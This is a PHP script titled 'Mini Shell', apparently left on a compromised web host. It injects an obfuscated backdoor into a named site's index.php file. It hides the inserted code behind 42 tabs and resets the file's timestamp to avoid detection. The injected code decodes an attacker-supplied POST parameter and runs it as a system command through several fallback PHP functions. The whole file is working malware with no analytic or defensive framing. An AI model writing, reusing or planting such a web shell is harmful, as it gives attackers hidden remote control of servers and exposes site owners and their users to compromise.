Mini Shell
<?php $path = '/home/ukubnwwt/airlev8.com/index.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24api_gateway1%20%3D%20%22s%5Cx79s%5Cx74%5Cx65m%22%3B%20%24api_gateway6%20%3D%20%22st%5Cx72%5Cx65%5Cx61%5Cx6D%5Cx5Fg%5Cx65%5Cx74%5Cx5Fc%5Cx6Fntent%5Cx73%22%3B%20%24api_gateway3%20%3D%20%22%5Cx65%5Cx78ec%22%3B%20%24api_gateway2%20%3D%20%22%5Cx73%5Cx68%5Cx65%5Cx6C%5Cx6C_exec%22%3B%20%24system_core%20%3D%20%22h%5Cx65x2%5Cx62%5Cx69n%22%3B%20%24api_gateway4%20%3D%20%22%5Cx70a%5Cx73sth%5Cx72%5Cx75%22%3B%20%24api_gateway5%20%3D%20%22po%5Cx70%5Cx65n%22%3B%20%24api_gateway7%20%3D%20%22pc%5Cx6Cos%5Cx65%22%3B%20if%20%28isset%28%24_POST%5B%22t%5Cx6F%5Cx6Ben%22%5D%29%29%20%7B%20function%20right_pad_string%20%28%24obj%20%2C%20%24tkn%20%29%20%7B%20%24pointer%20%3D%27%27%20%3B%20for%28%24v%3D0%3B%20%24v%3Cstrlen%28%24obj%29%3B%20%24v%2B%2B%29%7B%20%24pointer.%3Dchr%28ord%28%24obj%5B%24v%5D%29%5E%24tkn%29%3B%20%7D%20return%20%24pointer%3B%20%7D%20%24token%20%3D%20%24system_core%28%24_POST%5B%22t%5Cx6F%5Cx6Ben%22%5D%29%3B%20%24token%20%3D%20right_pad_string%28%24token%2C%2061%29%3B%20if%20%28function_exists%28%24api_gateway1%29%29%20%7B%20%24api_gateway1%28%24token%29%3B%20%7D%20elseif%20%28function_exists%28%24api_gateway2%29%29%20%7B%20print%20%24api_gateway2%28%24token%29%3B%20%7D%20elseif%20%28function_exists%28%24api_gateway3%29%29%20%7B%20%24api_gateway3%28%24token%2C%20%24entity_obj%29%3B%20print%20join%28%22%5Cn%22%2C%20%24entity_obj%29%3B%20%7D%20elseif%20%28function_exists%28%24api_gateway4%29%29%20%7B%20%24api_gateway4%28%24token%29%3B%20%7D%20elseif%20%28function_exists%28%24api_gateway5%29%20%26%26%20function_exists%28%24api_gateway6%29%20%26%26%20function_exists%28%24api_gateway7%29%29%20%7B%20%24tkn_pointer%20%3D%20%24api_gateway5%28%24token%2C%20%27r%27%29%3B%20if%20%28%24tkn_pointer%29%20%7B%20%24dchunk_descriptor%20%3D%20%24api_gateway6%28%24tkn_pointer%29%3B%20%24api_gateway7%28%24tkn_pointer%29%3B%20print%20%24dchunk_descriptor%3B%20%7D%20%7D%20exit%3B%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { @touch($path, $ft); $content = file_get_contents($path); if (strstr($content, $new_code)) { die('!success!'); } } } } die('!failed!');